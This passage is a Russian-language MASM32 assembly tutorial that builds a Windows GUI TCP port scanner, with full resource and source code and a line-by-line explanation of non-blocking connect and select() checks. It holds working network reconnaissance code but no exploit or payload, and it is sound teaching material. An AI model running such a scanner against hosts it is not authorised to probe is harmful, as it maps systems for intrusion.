Давно не писал новых статей по MASM, решил наконец-то продолжить цикл. Думаю, вы уже прочитали первые две статьи (эту и эту тоже) и разобрали их содержание. Пришло время поговорить о других возможностях MASM32. Возьмите исходный код из самой первой статьи, из той, в которой мы делали самое первое GUI-приложение, будем его использовать как базу для нового проекта.
В общем, сначала идея была проста... [click]
Но потом...
Программка будет сканировать все порты из указанного диапазона на заданном ip-адресе и выводить информацию в лог. Многопоточность делать не будем, но один поток всё равно создадим, чтобы при сканировании форма не висела.
Сначала я приведу RC-файл, который получился у меня. Можете его использовать:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
#define MANIFEST 24 #define PortScanner 1000 #define IDC_IPADDR 1005 #define IDC_PORTLOW 1007 #define IDC_PORTHIGH 1009 #define TEST_BTN 1001 #define IDC_STOP 1003 #define IDC_CLEANLOG 1012 #define IDC_LOG 1010 #define EXIT_BTN 1002 #define IDC_STC1 1004 #define IDC_STC2 1006 #define IDC_STC3 1008 #define IDC_STC4 1011 #define IDC_EDT1 1013 #define IDC_STC5 1014 #define IDC_STC6 1015 #define IDC_OPENONLY 1016 #define IDR_XPMANIFEST1 1 #include "C:/masm32/include/RESOURCE.H" PortScanner DIALOGEX 6,7,272,91 CAPTION "Port Scanner" FONT 8,"MS Sans Serif",0,0,0 STYLE WS_VISIBLE|WS_CAPTION|WS_SYSMENU BEGIN CONTROL "",IDC_IPADDR,"SysIPAddress32",WS_CHILD|WS_VISIBLE|WS_TABSTOP,52,3,74,11 CONTROL "1",IDC_PORTLOW,"Edit",WS_CHILD|WS_VISIBLE|WS_TABSTOP|ES_NUMBER,52,16,38,11,WS_EX_CLIENTEDGE CONTROL "65535",IDC_PORTHIGH,"Edit",WS_CHILD|WS_VISIBLE|WS_TABSTOP|ES_NUMBER,112,16,38,11,WS_EX_CLIENTEDGE CONTROL "Начать!",TEST_BTN,"Button",WS_CHILD|WS_VISIBLE|WS_TABSTOP,6,60,54,13 CONTROL "Стоп",IDC_STOP,"Button",WS_CHILD|WS_VISIBLE|WS_DISABLED|WS_TABSTOP,66,60,54,13 CONTROL "Очистить",IDC_CLEANLOG,"Button",WS_CHILD|WS_VISIBLE|WS_TABSTOP,232,1,36,13 CONTROL "",IDC_LOG,"Edit",WS_CHILD|WS_VISIBLE|WS_VSCROLL|WS_TABSTOP|ES_READONLY|ES_MULTILINE,162,16,106,70,WS_EX_CLIENTEDGE CONTROL "Выход",EXIT_BTN,"Button",WS_CHILD|WS_VISIBLE|WS_TABSTOP,6,75,54,13 CONTROL "IP-адрес:",IDC_STC1,"Static",WS_CHILD|WS_VISIBLE,8,5,36,9 CONTROL "Порты от:",IDC_STC2,"Static",WS_CHILD|WS_VISIBLE,8,18,38,9 CONTROL "до",IDC_STC3,"Static",WS_CHILD|WS_VISIBLE,96,18,10,9 CONTROL "Лог сканирования:",IDC_STC4,"Static",WS_CHILD|WS_VISIBLE,162,3,70,9 CONTROL "500",IDC_EDT1,"Edit",WS_CHILD|WS_VISIBLE|WS_TABSTOP|ES_NUMBER,82,31,38,11,WS_EX_CLIENTEDGE CONTROL "Таймаут коннекта:",IDC_STC5,"Static",WS_CHILD|WS_VISIBLE,8,33,70,9 CONTROL "ms",IDC_STC6,"Static",WS_CHILD|WS_VISIBLE,124,33,10,9 CONTROL "Логировать только открытые порты",IDC_OPENONLY,"Button",WS_CHILD|WS_VISIBLE|WS_TABSTOP|BS_AUTOCHECKBOX,6,48,140,9 END IDR_XPMANIFEST1 MANIFEST "xpmanifest.xml" |
А теперь, как обычно, я приведу полный исходный код проекта, а потом его по частям прокомментирую.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 |
.386 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\macros\macros.asm uselib kernel32, user32, masm32, comctl32, ws2_32 WndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD AddLog PROTO :DWORD,:DWORD AddTextLog PROTO :DWORD Check PROTO :DWORD EnableControls PROTO :DWORD PortScanner = 1000 TEST_BTN = 1001 EXIT_BTN = 1002 IDC_STOP = 1003 IDC_IPADDR = 1005 IDC_PORTLOW = 1007 IDC_PORTHIGH = 1009 IDC_LOG = 1010 IDC_CLEANLOG = 1012 IDC_TIMEOUT = 1013 IDC_OPENONLY = 1016 fd_struct STRUCT fd_count dd ? ssock dd ? fd_struct ENDS .data checking db 0 err db "Ошибка", 0 .data? hInstance dd ? hWnd dd ? icce INITCOMMONCONTROLSEX <> ip dd ? porthigh dd ? portlow dd ? stopper db ? timeout dd ? openonly db ? .code start PROC LOCAL WSAStruct :WSADATA invoke WSAStartup, 0101h, addr WSAStruct .if eax != 0 invoke MessageBox, 0, chr$("WSAStartup - ошибка"), offset err, MB_ICONERROR invoke ExitProcess,eax ret .endif mov icce.dwSize, SIZEOF INITCOMMONCONTROLSEX mov icce.dwICC, ICC_DATE_CLASSES or \ ICC_INTERNET_CLASSES or \ ICC_PAGESCROLLER_CLASS or \ ICC_COOL_CLASSES invoke InitCommonControlsEx, offset icce invoke GetModuleHandle, NULL mov hInstance, eax invoke DialogBoxParam, hInstance, PortScanner, 0, offset WndProc, 0 call WSACleanup invoke ExitProcess,eax ret start ENDP WndProc proc hWin :DWORD, uMsg :DWORD, wParam :DWORD, lParam :DWORD switch uMsg case WM_INITDIALOG m2m hWnd, hWin invoke SendMessage, hWin, WM_SETICON, 1, FUNC(LoadIcon, NULL, IDI_ASTERISK) invoke SendDlgItemMessage, hWin, IDC_LOG, EM_SETLIMITTEXT, -1, 0 invoke SendDlgItemMessage, hWin, IDC_PORTLOW, EM_SETLIMITTEXT, 5, 0 invoke SendDlgItemMessage, hWin, IDC_PORTHIGH, EM_SETLIMITTEXT, 5, 0 invoke SendDlgItemMessage, hWin, IDC_TIMEOUT, EM_SETLIMITTEXT, 7, 0 case WM_COMMAND switch wParam case TEST_BTN invoke SendDlgItemMessage, hWin, IDC_IPADDR, IPM_GETADDRESS, 0, offset ip .if eax != 4 invoke MessageBox, hWin, chr$("Введите IP-адрес"), offset err, MB_ICONEXCLAMATION xor eax, eax ret .endif invoke GetDlgItemInt, hWin, IDC_PORTLOW, 0, FALSE .if eax < 1 || eax > 65535 invoke MessageBox, hWin, chr$("Неверно введен начальный номер порта."), offset err, MB_ICONEXCLAMATION xor eax, eax ret .endif mov portlow, eax invoke GetDlgItemInt, hWin, IDC_PORTHIGH, 0, FALSE .if eax < 1 || eax > 65535 || portlow > eax invoke MessageBox, hWin, chr$("Неверно введен конечный номер порта"), offset err, MB_ICONEXCLAMATION xor eax, eax ret .endif mov porthigh, eax invoke GetDlgItemInt, hWin, IDC_TIMEOUT, 0, FALSE .if eax < 10 invoke MessageBox, hWin, chr$("Слишком маленький таймаут"), offset err, MB_ICONEXCLAMATION xor eax, eax ret .endif mov timeout, eax invoke SendDlgItemMessage, hWin, IDC_OPENONLY, BM_GETCHECK, 0, 0 .if eax == BST_CHECKED mov openonly, 1 .else mov openonly, 0 .endif invoke EnableControls, 0 mov stopper, 0 invoke CreateThread, 0, 10240, offset Check, 0, 0, 0 .if eax>0 mov checking, 1 invoke CloseHandle, eax .else invoke MessageBox, hWin, chr$("Не удалось создать поток"), offset err, MB_ICONERROR invoke EnableControls, 1 .endif case IDC_CLEANLOG invoke SetDlgItemText, hWin, IDC_LOG, chr$(0) case IDC_STOP mov stopper, 1 case EXIT_BTN jmp exit_program endsw case WM_CLOSE .if checking == 1 invoke MessageBox, hWin, chr$("Завершите проверку портов перед выходом."), offset err, MB_ICONEXCLAMATION xor eax, eax ret .endif exit_program: invoke EndDialog, hWin, 0 endsw xor eax, eax ret WndProc ENDP Check PROC param :DWORD LOCAL SocketAddress :sockaddr_in LOCAL sock :DWORD LOCAL iMode :DWORD LOCAL fds_r :fd_struct LOCAL fds_w :fd_struct LOCAL fds_e :fd_struct LOCAL tv :timeval mov tv.tv_sec, 0 mov tv.tv_usec, 0 mov iMode, 1 invoke AddTextLog, chr$("Сканирование начато", 13, 10) invoke htonl, ip mov SocketAddress.sin_addr, eax mov SocketAddress.sin_family, AF_INET _testnext: cmp stopper, 1 je _end invoke socket, AF_INET, SOCK_STREAM, IPPROTO_TCP .if eax == INVALID_SOCKET invoke AddTextLog, chr$("ошибка создания сокета", 13, 10) jmp _end .endif mov sock, eax invoke ioctlsocket, sock, FIONBIO, addr iMode .if eax == SOCKET_ERROR invoke closesocket, sock invoke AddTextLog, chr$("Не удалось перевести сокет в неблокирующий режим", 13, 10) jmp _end .endif invoke htons, portlow mov SocketAddress.sin_port, ax invoke connect, sock, addr SocketAddress, sizeof sockaddr_in invoke Sleep, timeout mov fds_r.fd_count, 1 mov fds_w.fd_count, 1 mov fds_e.fd_count, 1 m2m fds_r.ssock, sock m2m fds_w.ssock, sock m2m fds_e.ssock, sock invoke select, 0, addr fds_r, addr fds_w, addr fds_e, addr tv invoke __WSAFDIsSet, sock, addr fds_r push eax invoke __WSAFDIsSet, sock, addr fds_w pop ebx .if eax == 0 && ebx == 0 .if openonly == 0 invoke AddLog, portlow, 0 .endif jmp __next .endif invoke __WSAFDIsSet, sock, addr fds_e .if eax != 0 .if openonly == 0 invoke AddLog, portlow, 0 .endif .else invoke AddLog, portlow, 1 .endif __next: inc portlow invoke closesocket, sock mov eax, porthigh cmp portlow, eax jbe _testnext _end: invoke AddTextLog, chr$("Сканирование завершено", 13, 10) invoke EnableControls, 1 mov checking, 0 invoke ExitThread,0 ret Check ENDP AddLog PROC port :DWORD, opened :DWORD LOCAL buf [20] :BYTE .if opened == 1 invoke wsprintf, addr buf, chr$("%u открыт", 13, 10), port .else invoke wsprintf, addr buf, chr$("%u закрыт", 13, 10), port .endif invoke AddTextLog, addr buf ret AddLog ENDP AddTextLog PROC xstr :DWORD invoke SendDlgItemMessage, hWnd, IDC_LOG, EM_SETSEL, -2, -2 invoke SendDlgItemMessage, hWnd, IDC_LOG, EM_REPLACESEL, 0, xstr ret AddTextLog ENDP EnableControls PROC en :DWORD invoke EnableWindow, FUNC(GetDlgItem, hWnd, IDC_IPADDR), en invoke EnableWindow, FUNC(GetDlgItem, hWnd, IDC_PORTLOW), en invoke EnableWindow, FUNC(GetDlgItem, hWnd, IDC_PORTHIGH), en invoke EnableWindow, FUNC(GetDlgItem, hWnd, IDC_CLEANLOG), en invoke EnableWindow, FUNC(GetDlgItem, hWnd, TEST_BTN), en invoke EnableWindow, FUNC(GetDlgItem, hWnd, EXIT_BTN), en invoke EnableWindow, FUNC(GetDlgItem, hWnd, IDC_TIMEOUT), en invoke EnableWindow, FUNC(GetDlgItem, hWnd, IDC_OPENONLY), en xor en, 1 invoke EnableWindow, FUNC(GetDlgItem, hWnd, IDC_STOP), en ret EnableControls ENDP end start |
Самое начало пояснять не буду - вы все уже и так знаете: объявление необходимых директив, подключение файлов (среди которых добавился ws2_32 для работы с сокетами), объявление прототипов процедур, которые я опишу дальше, и объявление констант из rc-файла. Далее идет объявление структуры fd_struct, про нее я тоже расскажу дальше. В любом случае, теперь вы знаете, как объявляются структуры в MASM32.
Дальше начинается секция данных и неинициализированных данных:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
.data checking db 0 ;эта переменная будет указывать, ;происходит ли проверка портов в данный ;момент времени, или нет err db "Ошибка", 0 ;заголовок сообщений об ошибках .data? hInstance dd ? ;указатель на модуль ;нашего исполняемого файла hWnd dd ? ;хендл нашего окна icce INITCOMMONCONTROLSEX <> ip dd ? ;ip-адрес, на котором будем ;производить сканирование портов porthigh dd ? ;максимальный порт, до которого ;будем сканировать portlow dd ? ;минимальный порт, от которого начнем ;сканирование stopper db ? ;эта переменная будет индикатором ;для остановки потока сканирования, про нее ;я еще немного расскажу дальше timeout dd ? ;здесь будем хранить таймаут коннекта ;к порту openonly db ? ;логировать только открытые порты или все |
Собственно, а как же мы будем производить сканирование? Пользователь вводит ip-адрес, диапазон портов для сканирования и жмет старт, после чего программа создает поток, который по очереди ко всем портам пытается подключиться (соответственно, сканируем только TCP-порты). Если подключение удалось - порт открыт, если нет - закрыт.
Теперь дальше к коду. Инициализацию я обернул в процедуру, и здесь приходит время познакомиться с локальными переменными. Вы, наверное, уже знаете, что во многих языках программирования в функциях можно создавать локальные переменные, которые после выхода из функции удаляются, так как хранятся в стеке. MASM не является исключением.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
.code start PROC ;процедура инициализации (точка входа) LOCAL WSAStruct :WSADATA ;вот она - локальная ;переменная типа WSADATA с именем WSAStruct ;структура WSADATA объявлена в файле ws2_32.inc, ;который лежит в папке masm32/include, и который мы ;с вами подключили в самом начале. Можете ;его открыть и посмотреть, что в этой структуре ;В любом случае, инициализировать нам ее не надо, ;она лишь используется для инициализации системы ;winsock в программе: invoke WSAStartup, 0101h, addr WSAStruct ;вот так ;0101h - это версия winsock. Мы используем winsock 1.1 ;можно использовать и 2.2 (1010h), это не столь важно ;в этом примере. Подробнее - читайте msdn .if eax != 0 ;если какая-то ошибка invoke MessageBox, 0, chr$("WSAStartup - ошибка"), offset err, MB_ICONERROR invoke ExitProcess, eax ;то выйдем ret .endif ;инициализация контролов mov icce.dwSize, SIZEOF INITCOMMONCONTROLSEX mov icce.dwICC, ICC_DATE_CLASSES or \ ICC_INTERNET_CLASSES or \ ICC_PAGESCROLLER_CLASS or \ ICC_COOL_CLASSES invoke InitCommonControlsEx, offset icce invoke GetModuleHandle, NULL mov hInstance, eax ;создаем окно invoke DialogBoxParam, hInstance, PortScanner, 0, offset WndProc, 0 ;перед выходом освободим ресурсы winsock call WSACleanup invoke ExitProcess, eax ret start ENDP |
Далее идет процедура обработки оконных сообщений:
1 2 3 4 5 6 7 8 9 |
WndProc proc hWin :DWORD, uMsg :DWORD, wParam :DWORD, lParam :DWORD switch uMsg case WM_INITDIALOG m2m hWnd, hWin invoke SendMessage, hWin, WM_SETICON, 1, FUNC(LoadIcon, NULL, IDI_ASTERISK) invoke SendDlgItemMessage, hWin, IDC_LOG, EM_SETLIMITTEXT, -1, 0 invoke SendDlgItemMessage, hWin, IDC_PORTLOW, EM_SETLIMITTEXT, 5, 0 invoke SendDlgItemMessage, hWin, IDC_PORTHIGH, EM_SETLIMITTEXT, 5, 0 invoke SendDlgItemMessage, hWin, IDC_TIMEOUT, EM_SETLIMITTEXT, 7, 0 |
При инициализации окна мы теперь не только устанавливаем его иконку, но и ограничиваем длины полей. Для поля лога снимаем ограничение на максимальную длину (передаем в оконном сообщении EM_SETLIMITTEXT число -1), а у других полей ставим разумные ограничения.
Теперь - код, который выполняется при нажатии на кнопку "Начать!":
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 |
case WM_COMMAND switch wParam case TEST_BTN invoke SendDlgItemMessage, hWin, IDC_IPADDR, IPM_GETADDRESS, 0, offset ip ;получаем ;ip-адрес из поля ввода IP-адресов с помощью специального ;оконного сообщения .if eax != 4 ;если введено меньше, чем четыре октета invoke MessageBox, hWin, chr$("Введите IP-адрес"), offset err, MB_ICONEXCLAMATION xor eax, eax ret ;выходим из процедуры .endif ;получаем начальный номер порта invoke GetDlgItemInt, hWin, IDC_PORTLOW, 0, FALSE .if eax < 1 || eax > 65535 ;и проверяем его invoke MessageBox, hWin, chr$("Неверно введен начальный номер порта."), offset err, MB_ICONEXCLAMATION xor eax, eax ret .endif mov portlow, eax ;запоминаем ;получаем конечный номер порта invoke GetDlgItemInt, hWin, IDC_PORTHIGH, 0, FALSE .if eax < 1 || eax > 65535 || portlow > eax ;и снова проверяем invoke MessageBox, hWin, chr$("Неверно введен конечный номер порта"), offset err, MB_ICONEXCLAMATION xor eax, eax ret .endif mov porthigh, eax ;и запоминаем ;наконец, получаем значение таймаута подключения invoke GetDlgItemInt, hWin, IDC_TIMEOUT, 0, FALSE .if eax < 10 ;и небольшая проверка invoke MessageBox, hWin, chr$("Слишком маленький таймаут"), offset err, MB_ICONEXCLAMATION xor eax, eax ret .endif mov timeout, eax ;запоминаем его ;смотрим, не установлена ли опция "Логировать только открытые порты" ;с помощью оконного сообщения BM_GETCHECK invoke SendDlgItemMessage, hWin, IDC_OPENONLY, BM_GETCHECK, 0, 0 .if eax == BST_CHECKED ;и если галочка установлена mov openonly, 1 ;то запоминаем 1 .else mov openonly, 0 ;если нет, то 0 .endif invoke EnableControls, 0 ;блокируем некоторые элементы управления ;эта процедура определена в самом конце кода, я ее потом опишу mov stopper, 0 ;сбрасываем флаг остановки потока ;создаем поток, который будет выполнять процедуру Check ;советую заглянуть в msdn, чтобы понять параметры ;функции CreateThread invoke CreateThread, 0, 10240, offset Check, 0, 0, 0 .if eax>0 ;если все ОК mov checking, 1 ;устанавливаем флаг, говорящий о том, ;что идет проверка ;ну и закрываем хендл потока - он нам больше не нужен, ;только память занимает invoke CloseHandle, eax .else ;если ошибка invoke MessageBox, hWin, chr$("Не удалось создать поток"), offset err, MB_ICONERROR invoke EnableControls, 1 .endif |
Теперь - несколько обработчиков нажатий других кнопок:
1 2 3 4 5 6 7 8 9 10 11 |
case IDC_CLEANLOG ;очистка поля лога ;с помощью функции SetDlgItemtext устанавливаем ;пустой текст в поле лога (chr$(0)). invoke SetDlgItemText, hWin, IDC_LOG, chr$(0) case IDC_STOP ;если пользователь нажал Стоп при проверке ;то устанавливаем флаг остановки потока, чтобы поток ;узнал, что его хотят остановить mov stopper, 1 case EXIT_BTN ;выход, тут все как в первом уроке jmp exit_program endsw |
Здесь я должен сказать немного больше о переменной типа байт stopper, которую мы устанавливаем в 1, когда пользователь хочет остановить проверку портов раньше времени. Дело в том, что мы могли бы просто убить поток с помощью WinAPI-функции TerminateThread (для этого нам не следовало закрывать хендл потока с помощью CloseHandle), но это не совсем корректный, хоть и быстрый, путь. На MSDN перечислены проблемы, которые могут возникнуть при таком убийстве потока. Мы будем использовать переменную stopper, чтобы сообщить потоку, что мы хотим его завершить, и он сам корректно завершит своё выполнение, увидем, что stopper выставлена в единицу.
Теперь еще некоторые изменения в процедуре обработки оконных сообщений:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
case WM_CLOSE .if checking == 1 ;если проверка в данный момент времени идет ;скажем пользователю, чтобы завершил ее, и только потом ;завершал работу программы invoke MessageBox, hWin, chr$("Завершите проверку портов перед выходом."), offset err, MB_ICONEXCLAMATION xor eax, eax ret .endif exit_program: invoke EndDialog, hWin, 0 endsw xor eax, eax ret WndProc ENDP |
А теперь перейдем к разбору процедуры, которая будет выполняться в отдельном потоке. Это - самая сложная часть, и вы сможете действительно гордиться собой, если разберетесь, как она работает.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
Check PROC param :DWORD ;начало процедуры ;объявление локальных переменных LOCAL SocketAddress :sockaddr_in LOCAL sock :DWORD LOCAL iMode :DWORD LOCAL fds_r :fd_struct LOCAL fds_w :fd_struct LOCAL fds_e :fd_struct LOCAL tv :timeval mov tv.tv_sec, 0 ;инициализация некоторых переменных mov tv.tv_usec, 0 mov iMode, 1 invoke AddTextLog, chr$("Сканирование начато", 13, 10) ;говорим о начале сканирования |
Что же произошло в этом кусочке кода? Во-первых, мы объявили начало процедуры. У нее есть один входной параметр (я назвал его param). Этот параметр может пригодиться, если мы из главного потока, который создает вторичный поток, этому самому вторичному потоку хотим передать какую-то информацию. Например, его номер. Мы это использовать не будем, потому что поток у нас всего один, и передавать нам в него ничего не требуется. Если вы уже заходили на msdn и читали описание функции CreateThread, то вы уже в курсе, откуда берется этот параметр.
Далее мы объявили несколько локальных переменных - первая socketAddress типа sockaddr_in (эта структура опять-таки объявлена в masm32/include/ws2_32.inc), используется для подключения сокета. Далее sock - в ней мы будем хранить хендл сокета. Переменная iMode, в которую мы записали 1, будет использоваться для перевода сокета в неблокирующий режим (потом поясню, что это такое и зачем). Далее идут три переменные одинакового типа fd_struct (помните, это та структура, которую мы определили в самом начале исходного кода?). Они будут использоваться для определения, открыт ли порт. Далее идет переменная tv типа timeval, в поля которой мы записываем нули. Эта переменная служит для хранения времени в секундах и миллисекундах для задания таймаута функции select (опять-таки, поясню дальше, зачем).
Идем дальше.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
;здесь мы приводим ip-адрес в вид, ;необходимый для функции connect invoke htonl, ip mov SocketAddress.sin_addr, eax ;и записываем ;его в структуру ;здесь мы пишем AF_INET (других значений не бывает) mov SocketAddress.sin_family, AF_INET ;начало цикла проверки портов _testnext: cmp stopper, 1 ;вот тут мы смотрим, а не ;хотят ли остановить поток? ;то есть сравниваем stopper с единицей je _end ;и если хотят, то выходим из цикла ;je - "jump equal" - перейти, если равно ;создаем сокет TCP invoke socket, AF_INET, SOCK_STREAM, IPPROTO_TCP .if eax == INVALID_SOCKET ;если ошибка - завершаем проверку invoke AddTextLog, chr$("ошибка создания сокета", 13, 10) jmp _end .endif mov sock, eax ;запоминаем хендл сокета |
В этом кусочке должно быть все понятно, а вот дальше идет более сложный момент:
1 2 3 4 5 6 |
invoke ioctlsocket, sock, FIONBIO, addr iMode .if eax == SOCKET_ERROR invoke closesocket, sock invoke AddTextLog, chr$("Не удалось перевести сокет в неблокирующий режим", 13, 10) jmp _end .endif |
Здесь мы переводим сокет в неблокирующий режим. Зачем это надо? По умолчанию созданный сокет будет работать в блокирующем режиме. То есть, все функции вроде connect, send, recv будут блокировать выполнение нашей программы до тех пор, пока не завершатся. Нас такое положение дел не устраивает, ведь мы хотим возможность задавать таймаут для connect! Поэтому нам необходим неблокирующий режим, в котором функции выполняются и не блокируют нашу программу, сразу возвращая управление.
1 2 3 4 5 6 |
invoke htons, portlow mov SocketAddress.sin_port, ax invoke connect, sock, addr SocketAddress, sizeof sockaddr_in invoke Sleep, timeout |
Здесь мы переводим в нужный вид порт, который содержится в переменной portlow (т.е. начальное значение) и тоже записываем его в структуру SocketAddress. После чего делаем попытку подключить сокет, используя только что заполненную структуру. Потом идет вызов функции Sleep, которая приостанавливает выполнение потока на заданное число миллисекунд (а задает его пользователь). Функция connect выполнение потока не блокирует, потому что у нас активирован неблокирующий режим, а тихо работает себе в фоне. Но вот как же узнать, подключился ли сокет спустя заданное время, или нет? Пожалуй, это самый хитрый момент программы.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
mov fds_r.fd_count, 1 mov fds_w.fd_count, 1 mov fds_e.fd_count, 1 m2m fds_r.ssock, sock m2m fds_w.ssock, sock m2m fds_e.ssock, sock invoke select, 0, addr fds_r, addr fds_w, addr fds_e, addr tv invoke __WSAFDIsSet, sock, addr fds_r push eax invoke __WSAFDIsSet, sock, addr fds_w pop ebx .if eax == 0 && ebx == 0 .if openonly == 0 invoke AddLog, portlow, 0 .endif jmp __next .endif invoke __WSAFDIsSet, sock, addr fds_e .if eax != 0 .if openonly == 0 invoke AddLog, portlow, 0 .endif .else invoke AddLog, portlow, 1 .endif __next: |
Пришло время поговорить о структуре fd_struct, которая была определена в начале кода. Эта структура, вообще говоря, имеет произвольный размер, и используется функцией select для определения, какие из сокетов, указанные в этой структуре, готовы к чтению/записи или вернули ошибку. Функция select используется как раз в неблокирующем режиме, потому что позволяет приостановить выполнение до тех пор, пока статус какого-либо из указанных в структурах сокетов не изменится. Время ожидания можно менять, его мы задали в переменной tv - по нулям. То есть, в нашем случае функция select проверит, какие из сокетов, заданные в структуре fds_r, готовы к чтению, какие из сокетов из fds_r готовы к записи, и какие из сокетов из fds_e вернули ошибку. В этих структурах всего по одному сокету (он у нас и есть один), поэтому я и сделал частный случай структуры fd_set (она описана на msdn) под единственный сокет, и в счетчик сокетов мы загружаем единицу. Блокироваться выполнение потока не будет, потому что, как я уже сказал, таймаут задан как 0. Конечно же, вам следует прочитать описание функции select и на msdn, чтобы все полностью встало на свои места.
Еще пара слов о макросе m2m (и не помню уже, вроде бы не пояснял его). Команда mov поддерживает формы
mov [регистр], [память]
mov [память], [регистр]
mov [регистр], [число]
mov [память], [число]
mov [регистр], [регистр]
Но вот формы mov [память], [память] не существует, поэтому, чтобы загрузить значение из памяти в память, следует воспользоваться либо регистром, либо стеком. То есть, писать либо "push memory1; pop memory2", либо "mov eax, memory1; mov memory2, eax". Макрос m2m реализует первую операцию (точнее, две операции) просто ради того, чтобы меньше писать. Макрос mrm реализует вторые две операции. Это уж на ваш вкус, что использовать для пересылки данных из памяти в память. Но нужно помнить, что макрос mrm не сохраняет значение регистра eax.
Так, ладно. Самая задница позади, и можно немножко расслабиться.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
invoke __WSAFDIsSet, sock, addr fds_r push eax invoke __WSAFDIsSet, sock, addr fds_w pop ebx .if eax == 0 && ebx == 0 .if openonly == 0 invoke AddLog, portlow, 0 .endif jmp __next .endif invoke __WSAFDIsSet, sock, addr fds_e .if eax != 0 .if openonly == 0 invoke AddLog, portlow, 0 .endif .else invoke AddLog, portlow, 1 .endif __next: |
После вызова select все три структуры (fds_r, fds_w, fds_e) будут содержать информацию о сокетах, пригодных для чтения, записи, и о возвративших ошибку соответственно. Далее идут проверки - если наш сокет не присутствует в структурах fds_r и fds_w, то есть не пригоден для записи и чтения, значит, он не подключен, т.е., порт закрыт. После этого идет проверка, не вернул ли сокет ошибку (не содержится ли он в структуре fds_e). Если вернул - опять-таки сокет не подключен. И только в том случае, если все эти условия остались невыполненными, сокет можно считать подключенным и порт, соответственно, открытым. Функция __WSAFDIsSet как раз проверяет наличие нужного сокета в заданной структуре.
1 2 3 4 5 6 7 8 9 10 11 |
inc portlow ;увеличиваем минимальное значение порта на единицу ;закрываем сокет и освобождаем его хендл invoke closesocket, sock mov eax, porthigh cmp portlow, eax ;сравниваем максимальное значение порта с минимальным jbe _testnext ;если оно меньше или равно - переходим на начало цикла ;(jbe = "jump below equal" = "переход, если ниже или равно") ;(сравнение беззнаковое. Если бы мы хотели знаковое, следовало бы использовать ;jle - "jump lower equal" = "переход, если меньше или равно" |
Почему мы просто не написали cmp portlow, porthigh? Потому что инструкция cmp, как и mov, не поддерживает форму cmp [память], [память], пришлось воспользоваться регистром eax.
1 2 3 4 5 6 7 |
_end: ;конец проверки invoke AddTextLog, chr$("Сканирование завершено", 13, 10) invoke EnableControls, 1 ;разблокируем элементы управления mov checking, 0 ;говорим о том, что проверка завершена invoke ExitThread,0 ;завершаем поток ret Check ENDP |
Следует отметить, что поток нужно завершать именно функцией ExitThread. Просто инструкция ret здесь прокатит, но это не слишком корректное решение, так как не все ресурсы будут освобождены.
Ну как, мозги уже кипят? Ничего, осталось разобрать всего несколько вспомогательных функций, которые используются в нашей программе.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
;эта процедура добавляет в лог запись о том, открыт ли ;порт port или нет AddLog PROC port :DWORD, opened :DWORD LOCAL buf [20] :BYTE ;локальная переменная ;массив байт из 20 штук .if opened == 1 ;если порт открыт invoke wsprintf, addr buf, chr$("%u открыт", 13, 10), port .else ;если нет invoke wsprintf, addr buf, chr$("%u закрыт", 13, 10), port .endif invoke AddTextLog, addr buf ;вызываем процедуру записи в лог ret AddLog ENDP ;процедура записи текста в лог AddTextLog PROC xstr :DWORD ;она просто шлет текстовому полю лога два оконных сообщения ;первое ставит курсор на позицию "конец текста" ;в msdn есть запись ;"If the start is 0 and the end is –1, all the text in the edit control is selected." ;"If the start is –1, any current selection is deselected." ;поэтому, чтобы перейти в самый конец текста, ставим -2. invoke SendDlgItemMessage, hWnd, IDC_LOG, EM_SETSEL, -2, -2 ;второе сообщение - вставка текста на позицию "конец текста", ;на которую мы и перешли invoke SendDlgItemMessage, hWnd, IDC_LOG, EM_REPLACESEL, 0, xstr ret AddTextLog ENDP |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
